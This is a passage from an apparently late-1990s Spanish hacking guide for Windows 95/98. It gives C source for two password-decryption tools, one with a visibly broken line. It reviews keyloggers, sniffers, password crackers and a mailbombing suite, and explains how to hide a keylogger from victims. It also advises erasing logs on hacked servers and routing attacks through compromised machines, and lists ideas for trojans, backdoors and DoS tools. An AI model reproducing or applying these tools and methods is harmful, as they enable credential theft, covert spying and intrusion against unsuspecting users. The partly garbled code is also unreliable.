      case 2:

      code -= 23;

        blockl1++;

      break;

      case 3:

        code += 9;

      blockl1++;

      break;

      case 4:

      blockl1 = 1;

      switch (blockl2) {

      case 1:

          code = 0x94;

        blockl2++;

        break;

      case 2:

          code = 0xb4;

        blockl2++;

        break;

      case 3:

          code = 0x54;

        blockl2++;

        break;

      case 4:

        code = 0xf4;

          blockl2 = 1;

          break;

      }

      break;

      }

      break;

    }

    i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}   /* End of DecodeCharSeven() */

 

int DecodeCharEight(unsigned char *mychar) {

  int i = 0;

  int cletter = 1;

  int blockl1 = 1;

  int blockl2 = 1;

  int retval = 1;

  unsigned char code = 0x4a;    /* The code for a space */

  while((i<256) && (code != *mychar)) {

     switch (cletter) {

     case 1:

       code++;

       cletter++;

       break;

     case 2:

       code -= 3;

       cletter++;

       break;

     case 3:

       code++;

       cletter++;

       break;

     case 4:

       code += 5;

       cletter++;

       break;

     case 5:

       code++;

       cletter++;

       break;

     case 6:

       code -= 3;

       cletter++;

       break;

     case 7:

       code++;

       cletter++;

       break;

     case 8:

       cletter = 1;

       switch (blockl1) {

       case 1:

       code -= 11;

       blockl1++;

       break;

       case 2:

       code += 21;

       blockl1++;

       break;

       case 3:

       code -= 11;

       blockl1++;

       break;

       case 4:

       blockl1 = 1;

       switch (blockl2) {

       case 1:

         code = 0x2a;

         blockl2++;

         break;

       case 2:

         code = 0x0a;

         blockl2++;

         break;

       case 3:

         code = 0xea;

         blockl2++;

         break;

       case 4:

         code = 0x4a;

         blockl2 = 1;

         break;

       }

       break;

       }

       break;

     }

     i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}    /* End of DecodeCharEight() */

 

/* End of program */

 

------------ FIN -------------------------------------------------------------

 

   Cuando ejecutemos el programa nos saldra esto:

 

   c:>sharepw

   Input the byte code in hex (ex: 76 d5 09 e3):

 

   Nos pide que introduzcamos el password en formato Hexadecimal. Hay muchas

   tablas por Internet para aquellos que no tengan una.

 

   5-6. Snadboy's revelation v1.1.

 

  En este apartado hablare sobre una interesante herramienta. El Snadboy es

  una tool que nos descripta los astericos de la tipica ventana que pide

  password. Si hay una ventana con un password y que no entendemos porque

  solo salen asteriscos, lo que tenemos que hacer es abrir el Snadboy y

  situarnos al lado de la ventana de password, la ventana del Snadboy tiene

  una "mira de punto", pinchamos encima de la mira y la arrastramos con el

  raton sobre la ventana del password situandonos encima del password,

  soltamos y en la ventana del Snadboy veremos el password descifrado.

 

  Como nota, este programa para lo que hace, ocupa mucho en el disco duro,por

  lo que puede ser un poco sospechoso o que los coders no lo han optimizado

  demasiado que digamos.

 

   5-7. Keylog95.

 

  Este programa nos sera muy util en sitio donde halla mucha gente, ya que

  es un Key recoder, o sea, una peque¤a utilidad que se queda residente

  en memoria y graba todos los logins y password que la gente vaya metiendo.

 

  El programa es de sencillo manejo, pero tiene que haver unos peque¤os

  requisitos, primero tener las librerias VBRUN300.DLL y QPRO200.DLL en el

  directorio c:windowssystem y ademas tener un directorio llamado c:win,

  ya que es alli donde el programa grabara la informacion que obtenga, en

  un fichero llamado "logx", por lo que esto quedara:

 

  c:winlogx

 

  Cuando las librerias esten metidas en el directorio System, windows creara

  un icono en la carpeta de Inico, por lo que es conveniente darle un

  atributo de Minimizado para que nadie lo pueda ver y asi siempre que se

  arranque Windows tambien lo hara el Keylog95

 

   5-8. Glide.

 

  El Glide es otro programa que sirve para desencriptar un password's en

  Win95/98. Al igual que el Sharepw solo lo tenemos que compiLar y ejecutar

  con la salvedad que esta escrito en C++.

 

------------ Codigo Fuente ---------------------------------------------------

 

#include <stdio.h>

#include <string.h>

#include <process.h>

#include <stdlib.h>

#include <ctype.h>

#include <conio.h>

 

unsigned char huge Data[100001];

unsigned char keystream[1001];

int Rpoint[300];

 

void main (int argc,char *argv[]) {

      FILE *fd;

      int   i,j,k;

      int   size;

      char ch;

      char *name;

      int cracked;

      int sizemask;

      int maxr;

      int rsz;

      int pos;

      int Rall[300]; /* recource allocation table */

 

 

      if (argc<2) {

            printf("usage: glide filename (username)");

            exit(1);

      }

 

      /* read PWL file */

 

      fd=fopen(argv[1],"rb");

      if(fd==NULL) {

            printf("can't open file %s",argv[1]);

            exit(1);

      }

      size=0;

      while(!feof(fd)) {

            Data[size++]=fgetc(fd);

      }

      size--;

      fclose(fd);

 

      /* find username */

      name=argv[1];

      if(argc>2) name=argv[2];

      printf("Username: %sn",name);

 

      /* copy encrypted text into keystream */

      cracked=size-0x0208;

      if(cracked<0) cracked=0;

      if(cracked>1000) cracked=1000;

      memcpy(keystream,Data+0x208,cracked );

 

      /* generate 20 bytes of keystream */

      for(i=0;i<20;i++) {

            ch=toupper(name[i]);

            if(ch==0) break;

            if(ch=='.') break;

            keystream[i]^=ch;

      };

      cracked=20;

 

 

      /* find allocated recources */

 

      sizemask=keystream[0]+(keystream[1]<<8);

      printf("Sizemask: %04Xn",sizemask);

 

      for(i=0;i<256;i++) Rall[i]=0;

 

      maxr=0;

      for(i=0x108;i<0x208;i++) {

            if(Data[i]!=0xff) {

                  Rall[Data[i]]++;

                  if (Data[i]>maxr) maxr=Data[i];

            }

      }

        maxr=(((maxr/16)+1)*16);      /* recource pointer table size appears

                                         to be divisable by 16 */

 

      /* search after recources */

 

      Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */

      for(i=0;i<maxr;i++) {

            /* find size of current recource */

            pos=Rpoint[i];

            rsz=Data[pos]+(Data[pos+1]<<8);

            rsz^=sizemask;

            printf("Analyzing block with size: %04xt(%d:%d)n",rsz,i

                ,Rall[i]);

            if( (Rall[i]==0) && (rsz!=0) ) {

                  printf("unused resource has nonzero size !!!n");

                  printf("If last line produced any : You

                        may try to recovern");

                  printf("press y to attempt recoveryn");

                  ch=getch();

                  if(ch!='y') exit(0);

                  rsz=2;

                  i-=1;

            }

 

            pos+=rsz;

 

            /* Resources have a tendency to have the wrong size for

                some reason */

            /* check for correct size */

 

            if(i<maxr-1) {

                  while(Data[pos+3]!=keystream[1]) {

                        printf(":",Data[pos+3]);

                        pos+=2; /* very rude may fail */

                  }

            }

 

            pos+=2;     /* include pointer in size */

            Rpoint[i+1]=pos;

      }

      Rpoint[maxr]=size;

 

      /* insert Table data into keystream */

      for(i=0;i <= maxr;i++) {

            keystream[20+2*i]^=Rpoint[i] & 0x00ff;

            keystream[21+2*i]^=(Rpoint[i] >> & 0x00ff;

      }

      cracked+=maxr*2+2;

 

      printf("%d bytes of keystream recoveredn",cracked);

 

      /* decrypt resources */

      for(i=0;i < maxr;i++) {

               rsz=Rpoint[i+1]-Rpoint[i];

               if (rsz>cracked) rsz=cracked;

               printf("Recource[%d] (%d)n",i,rsz);

               for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);

               printf("n");

      }

      exit(0);

}

 

------------ FIN -------------------------------------------------------------

 

   Cuando lo ejecutemos nos saldra lo siguiente:

 

   c:>glide

   usage: glide filename (username)

 

   Pidiendo el fichero y el login.

 

   5-9. Win95 anonymail v 1.0.

 

  Este sencillo programa nos sera de gran ayuda para enviar mail anonimo.

  Cuando ejecutemos el programa nos saldra una ventana con los siguientes

  campos:

 

  Host

 

  From

 

  To

 

  Subject

 

  Solo tenemos que rellenarlos correctamente y pulsar el "send" para enviar

  el mail anonimo y cuando hayamos acabado pulsar "quit".

 

  Un programa muy sencillo que nos puede ser util. Como nota, el autor nos

  advierte que nadie le envie mail anonimo con su programa, por lo que se

  puede deducir que es un farol o que el programa no es tan anonimo, por

  lo que el autor le habra metido un troyano.

 

   5-10. Hacker's Utility, V 1.02.

 

  Este magnifico programa es una suite para Hackers. Para que nos entendamos,

  este programa esta compuesto por muchos otros programas y asi dispones

  de un paquete perfecto para un Hacker.

 

  Cuando ejecutamos este programa nos aparecera una ventana con un menu

  arriba, y cuando abramos una de estas opciones se abrira otra ventana

  con mas opciones. Ahora podemos ver el menu principal compuesto por

  los submenus:

 

   File -> HU setup, exit

 

   Cracking -> crack passwords -> crack zip passwords

                                  crack passwd files

                                  passwd jackpot

               words prcessing -> words wizard

                                  xtrakt words

                                  sort

 

   Tools -> create & fill a dummy fill, compare binary files

 

   Network -> finger, port scanner, ip <> name converter

 

   Other Stuff -> hackers's test, serial numbers, extracting/ripping sound

                  files, extracting/ripping graphic files, manual extract/

                  rip files

 

   System -> dos prompt, run custom application, shut down

 

   Window -> cascade, tile horizontal, tile vertical, arrange icons,

             main toolbar, main status bar

 

   Help -> tip of day, index, using help, about Hacker's Utility

  

  La verdad es que esta suite esta muy completa y nos sera de gran ayuda. Por

  ejemplo el sistema se puede configurar en File->HU setup para que sea mas

  personal. Cabe destacar ciertas utilidades como los crackeadores que tiene

  incorporados para crackear el passwd de un Unix o romper el password de

  un fichero zip. Luego en la seccion de Network, las utilidades nos seran

  de mucha ayuda, como el Finger, el scaneador de puertos y el convertidor

  de direcciones IP. Esto en mi opion seria lo mejor del programa pero

  luego trae otras cosas que tambien nos pueden servir para al menos

  divertinos un rato, esto es el caso del Hacker's Test, por ejemplo podemos

  activar el Port Scanner y mientras esperamos a los resultados podemos

  hacer un test para saber si somos buenos Hackers.

 

  La verdad es que es una magnifica herramienta que los Hackers de win deben

  tener.

 

   5-11. Haktek v1.1.

 

  AL igual que el HU, Haktek, es una suite que tambien nos sera de gran

  ayuda. Pero esta suite esta mas enfocada a atacar por Internet, logicamente

  con el peligro que ello conlleva.

 

  Al ejecutar el programa, se abrira una ventana en la que veremos una serie

  de iconos en la parte izquierda de la ventana y una pantalla de texto que

  nos explica cada icono. Empezando de arriba para abajo:

 

  Diskette-> graba la sesion (lo que esta en pantalla y lo que hallamos hecho

             con el programa).

 

  X -> prepara la sesion, borrando la pantalla de texto.

 

  ? -> nos habla sobre sus autores.

 

  Circulo -> se¤alos un objetivo, por defecto www.microsoft.com.

 

  Antena -> Utilidad ping.

 

  Gafas -> scaneador de puertos.

 

  Bomba -> bombardeador de correo.

 

  Stop bomb -> para protegernos de un mailbomber.

 

  Radio -> scaneador de IP'S.

 

  Prismaticos -> para enviar finger nulos.

 

  La verdad es que es una suite muy completa y nos ayudara a joder a todo

  el que se ponga por delante. Con un poco de practica dominaremos este

  programa a la perfeccion.

 

   5-12. Claymore Brute Force.

 

  Esta utlidad no sera de gran ayuda para desemcriptar passowrd's de un

  fichero passwd de Unix. Cuando lo ejecutemos se abrira una ventana con

  varias opciones, de facil manejo, para aquellos que quieren algo simple y

  corriendo sobre win95. Este crackeador es de fuerza bruta pudiendo ser

  algo lento.

 

   5-13. Skream's Port Listener V 2.3.

 

  En muchas ocasiones nos gustaria saber que pasa en nuestros puertos, esta

  simple pero estupenda herramienta nos sera muy util, ya que la podemos

  ejecutar y configurarla para que escuche en el puerto que queramos, asi

  podemos saber quien o que esta conectado a nuestros puertos. Por defecto

  el programa escucha en el puerto 139 (os suena?)

 

  El programa nos permite escuchar en el puerto que querramos, ademas podemos

  logear todo el proceso en un fichero.

 

   5-14. WSOCK32 Winsock Spy Facility Version .91

 

  Podemos usar esta DLL para espiar un sistema informatico, ya que es un

  sniffer , solo funciona en Win95/98. No es dificil de utilizar, los pasos

  a seguir son:

 

  #1- Copiar el WSOCK32.DLL y ubicarlo en el directorio del programa que

      querramos espiar.

 

  #2- Configurar las siguientes variables:

 

    > SET WSOCK_LOG=LOG

    > SET WSOCK_FLAGS=s

 

  #3- Normalmente Windows instala el estandar WSOCK32.DLL en la siguiente ruta

      C:WINDOWSSYSTEMWSOCK32.DLL por eso debemos configurar el path de

      nuestra DLL, en el lugar donde este de la siguiente manera:

 

    > SET WSOCK_PATH=<el path de nuestro WSOCK32.DLL>

 

  #4- Ejecutar el programa WinSock.

 

  #5- Recibiras un mensaje que esta logeando.

 

  #6- Ya puedes salir del programa.

 

  #7- Busca un fichero llamado LOG.XXX donde las XXX son tres digitos en

      hexadecimal.

 

  #8- El fichero Log contendra toda la sesion del Winsock

 

  El programa dispone de mas opciones de configuracion, que podemos ver como

  usar leyendo la estupenda documentacion de trae. Ahora ya no tenemos excusa

  alguna de que no podemos pillar "informacion sensible."

 

   5-15. PWlTool V 4.0.

 

  Podemos usar esta herramienta para desencriptar los famosos pwl's. La verdad

  es que es una herramienta muy interesante y potente. Al ejecutar el programa

  nos aparecera una ventana con multitud de opciones, incluso el nombre del

  usuario que estemos usando en el momento.

 

  El programa nos permite buscar passwords (o sea ficheros pwl's), ademas

  tambien comprueba a los usuarios. El programa lo podemos dejar en modo

  zombie, eso significa que trabaja en background y no nos daremos cuenta que

  esta desencriptando los passwords, ademas es el modo que se recomienda

  utilizar.

 

  Es una herramienta de considero bastante completa y vital para todo aquel

  hacker de Windows.

 

   5-16. PwlView V 1.01.

 

  Volvemos con otro programa para averiguar los ficheros pwl's Ejecutamos

  el siguiente fichero :

 

  c:>pwlview

  There is no security in this crazy world!

  Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas

  http://webdon.com, e-mail:vitas@webdon.com vitas@rocketmail.com, ICQ:3024702

 

  ************

  !DISCLAIMER!

  !This program intended to be used for legal purpose only!

  ************

 

  This program shows cached passwords using standard (but undocumented)

  Windows API on local machine for current user (user must be logged in).

  There is much more powerful version of this program named pwltool

  is available at http://webdon.com/vitas . But it has larger size...

  You may invoke pwlview in this way: pwlview >> textfile.txt

  to save passwords in file (don't forget to press enter twice)

  Press Enter to begin...

 

  Y este es el mensaje que nos saca, el programa esta esperando a que pulsemos

  el "boton cualquiera" para buscar los pwl's, ahora aprieto el boton y me

  sale lo siguiente:

 

  No passwords found.

  Probably password caching was not used or user is not logged in.

 

  Press Enter to quit

 

  En mi caso sale negativo, debido a que no tengo ningun fichero pwl's Otro

  programa que nos conviene tener en nuestras coleccion de herramientas.

 

  6. Medidas De Seguridad.

 

  En esta seccion hablare sobre varios aspectos muy importanes, logicamente

  la seguridad personal, de nuestro ordenador, etc... Para que nadie pueda

  jodernos aunque nos movamos por Win95/98.

 

   6-1. Protegiendo Nuestro Ordenador.

 

  Nuestro ordenador corriendo con Win95/98, sera propenso a muchos tipos de

  ataques diferentes. Por ello conviene estar preparado y sobre estar

  alerta sobre las nuevas cosas que surgen por el mundo Underground, el mejor

  medio son los e-zines y por supuesto buenos amigos por el IRC.

 

    6-1-1. Ataques Tipicos a Nuestro Windows.

 

  Logicamente seremos muy propensos a ataques tipo DoS (denial of service),

  como son el LAND, BONK, TEARDROP y por supuesto los famosos nukes, OOB,

  etc ...

 

  Para estar protegidos lo que tenemos que hacer es pasarnos por los

  web's de seguridad o el de la casa Microsoft en los cuales se cuelgan

  los parches de estos ataques. No siempre funcioran pero nos ahorraran

  muchos disgustos en muchos casos. La gente suele ser muy propensa a estas

  cosas porque no esta informada sobre estos ataques y por consiguiente

  no se instala los parches correspondientes.

 

    6-1-2. Encriptacion de Nuestra Informacion.

 

  La informacion sensible que tengamos en nuestro disco duro conviene que

  este encriptada con algun buen programa de encriptacion del tipo PGP, el

  cual no puede ser roto en estos tiempos.

 

  Tambien podemos hacer uso de la Stereografia, el arte de ocultar la

  informacion. Hay varios programas en Internet que nos permiten esconder

  ficheros de txt en ficheros graficos o de sonido, por supuesto habra

  que tener cuidado cuando hacemos estas operaciones, debido a la diferencia

  de formatos entre los ficheros.

 

  Incluso podemos encriptar todo o parte del disco duro para mayor seguridad

  en nuestros datos.

 

  Lo recomendado es usar el PGP 5.0 o incluso la version 6, las cuales nos

  seran de gran utilidad para encriptar nuestros ficheros ademas como son

  para Windows todo sera por las tipicas ventanas, mas facil imposible.

 

    6-1-3. Eliminar Informacion De Forma Segura.

 

  Cuando borramos un fichero del disco duro, realmente no esta borrado, por

  lo que puede ser rescatado mediante herramientas especiales. Esto no

  es conveniente si por el caso nuestro ordenador cae en malos manos y nos

  ha dado tiempo a borrar algunos ficheros, no serviria de nada ya que

  podrian recuperar la informacion.

 

  Para borrar ficheros que contegan informacion muy privada o no queremos

  que nadie la pueda obtener, conviene borrar este fichero mediante algun

  programa especial para el borrado de ficheros. Existen por Internet

  programas muy buenos para ello o tambien podemos leernos un fichero

  sobre este tema, de recomendable lectura:

 

        Secure Deletion of Data from Magnetic and Solid-State Memory

                                                     

                               Peter Gutmann

                       Department of Computer Science

                           University of Auckland

                         pgut001@cs.auckland.ac.nz

 

  El PGP version 5 y tambien la 6, disponen de una opcion para borrar un

  fichero de nuestro disco duro de forma segura o sea que no teneis excusa

  para no usarla!!!

 

    6-1-4. Eliminacion De Virus.

 

  Los virus son una de las peores pesadillas, pero en realidad no entiendo

  porque, ya que son solo programas. Y no son dificiles de controlar. Solo

  conviene tener un buen antivirus o varios, si, tambien los hay por internet

  a patadas y gratis.

 

  Incluso muchos virus se pueden anular mediante un par de comandos del

  MS-DOS, es simplemente conocer un poco los virus, logicamente se sale de

  la tematica de esta guia. Pero la realidad es que no hay que tener miedo

  de los virus. Si nuestro ordenador esta infectado, lo primero que tenemos

  que hacer es calmarnos, luego hacer una copia de seguridad de nuestro

  disco duro (da igual si esta infectado), por si el virus, en el peor de

  los casos borra el disco duro y ahora buscar una vacuna disponible.

 

  Si fuese el caso que nuestro antivirus no quita el virus, pues simplemente

  hacemos una copia y lo enviamos a alguna empresa de seguridad informatica

  ya que seguro que nos sacan un antivirus.

 

  Los virus para Windows cada dia estan aumentando, por lo que conviene estar

  atento de que AntiVirus los pueden eliminar. No me estoy refiriendo a virus

  Macros sino a autenticos virus, incluso algunos capazes de borrar

  informacion de nuestro disco duro.

 

  Estos virus disponen de tecnicas stealh, polimorficos, etc. o sea que

  tened cuidado y estar alerta y tener unas buenas copias de seguridad, por

  si acaso.

 

   6-2. Protegiendo Nuestras Acciones.

 

  Esta seccion esta enfocada a esconder nuestros actos hacking por Internet.

  Ya que todo lo que hagamos dejaremos huellas y por desgracia la gente no

  se entera de esto y deja muchas pistas.

 

    6-2-1. Borrando Nuestras Huellas.

 

  Cuando conectamos a un servidor, este graba lo que hacemos (cuando hemos

  conectado, como, desde donde y varias cosas mas), por eso hay que tener

  mucho cuidado.

 

  La mayoria de servidores que hackeemos por Internet seran unix, conviene

  tener a mano "zappers", son programas que borran nuestras huellas en el

  servidor. Existen muchos programas para este proposito que funcionan bajo

  Unix. Solo los tenemos que compilar en el servidor y ejecutarlos. Por

  desgracia al usar Win95/98 no podemos compilarlos en nuestro ordenador y

  subirlo por FTP pero algo es algo.

 

  Tambien tenemos que procurar esconder nuestra IP, hay muchos metodos

  para ello, la mas facil es usar nodos (servidores intermedios y asi

  dificultar nuestro rastreo). Un esquema simple seria el siguiente:

 

    Hacker ------- Servidor ------ Servidor ------- Victima.

      |               |               |                |

    Nosotros    Primer servidor   Segundo servidor  Servidor victima

                para despistar    para despistar

 

  Hoy en dia, podemos usar muy diferentes opciones para escondernos como por

  ejemplo, servidor que hayamos hackeado, sistemas con wingates o similares e

  incluso ordenadores que tenga el BO (Back Oriffice) instalado.

 

    6-2-2. Encriptando Nuestro Correo.

 

  Conviene encriptar nuestro correo, sobre todo si esta relacionado con el

  hacking, ya que asi nadie podra saber que pone y acusarnos de nada. Siempre

  podemos alegar "Privacidad en los Datos" . Al igual que antes hay varios

  paquetes de PGP para mail.

 

  Incluso es recomendable el uso de cuentas anomimas de correo, aunque de

  esto la gente esta mas concenciada.

 

  Volvemos a hacer uso de nuestro querido programa PGP version 5 o 6, a gusto

  del consumidor.

 

  7. Sugerencias Para Un Mejor Hacking.

 

  Aqui hablare sobre algunas ideas que pueden potenciar el hacking en

  Win95/98 y la creacion de nuevas herramientas.

 

   - Programas troyanos que capturen el password del acceso a Internet.

 

   - Programas para IP-Spoof.

 

   - Creacion de herramientas de redes para Win95/98.

 

   - Wardialers.

 

   - Programas para atacar otros Win95/98 (DoS).

 

   - Nuevas Suites.

 

   - Programas crackeadores del passwd.

 

   - Programas criptograficos.

 

   - Programas eliminadores de ficheros de forma segura.

 

   - Puertas traseras.

 

   - Programas de administracion remota.

 

   - Programas DoS para saltarse protecciones.

 

   - Programas que realmente proporcionen seguridad a nuestro sistema.

 

  8. Obtener Informacion.

 

  Todo el mundo esta harto de ver cientos de web's donde no hay nada o

  todo esta repetido. Pues ahora os pondre unas pautas que seguir para

  obtener la mayor fuente posible de informacion.

 

    - Web's sobre hack (que decir).

 

    - Web's sobre seguridad Informatica (aqui siempre podemos encontrar

      muchas cosas, que nos podran servir).

 

    - Los RFC (Informacion tecnica sobre Internet, protocolos, seguridad,

      etc...).

 

    - Libros de colores (Documentacion tecnica sobre seguridad en muchos

      aspectos).

 

    - News (estar en un grupo de news y asi recibir noticias de lo que pasa).

 

    - Mailing lists (aqui estaremos permanentemente informados).

 

    - IRC (podremos hablar con otros hackers y cambiar opiniones).

 

  9. Despedida.

 

  Pues aqui se acaba esta guia sobre hacking en Win95/98. Espero que os halla

  gustado y os sea util, por todo el esfuerzo que ha llevado esta guia.

 

  Por desgracia me he dejado muchas cosas en el tintero, que me hubiese

  gustado explicar pero quien sabe a lo mejor aperece una nueva entrega

  nunca se sabe

 

  Me gustaria descatar que a lo mejor con los ultimos puntos de la guia, te

  has quedado sorprendido respecto a su titulo y despues al ver su contenido,

  esto se debe a que he preferido dar pautas a seguir y no empezar a explicar

  cosas que ya muchos sabran o que es informacion realmente facil de

  encontrar por Internet, ademas si empiezo a explicar algunos de esos

  titulos me saldria del proposito de esta guia, que es el hacking en Win95/98

  y NO de otros sistemas operativos los cuales disponen de miles de guias

  sobre hacking.

 

  Bueno ya solo me queda despedirme y tened cuidado con lo que haces por

  Internet, ya que un hacker no se dedica a destruir sistemas informaticos.

  Y agradecer a todos los que hallan escrito sus conocimientos sobre hack

  en win95/98 para la creacion de esta guia pero por supuesto que todavia

  quedan muchas cosas mas, esto es simplemente una solida base para

  comezar en tu "alter ego" como hacker!!!.

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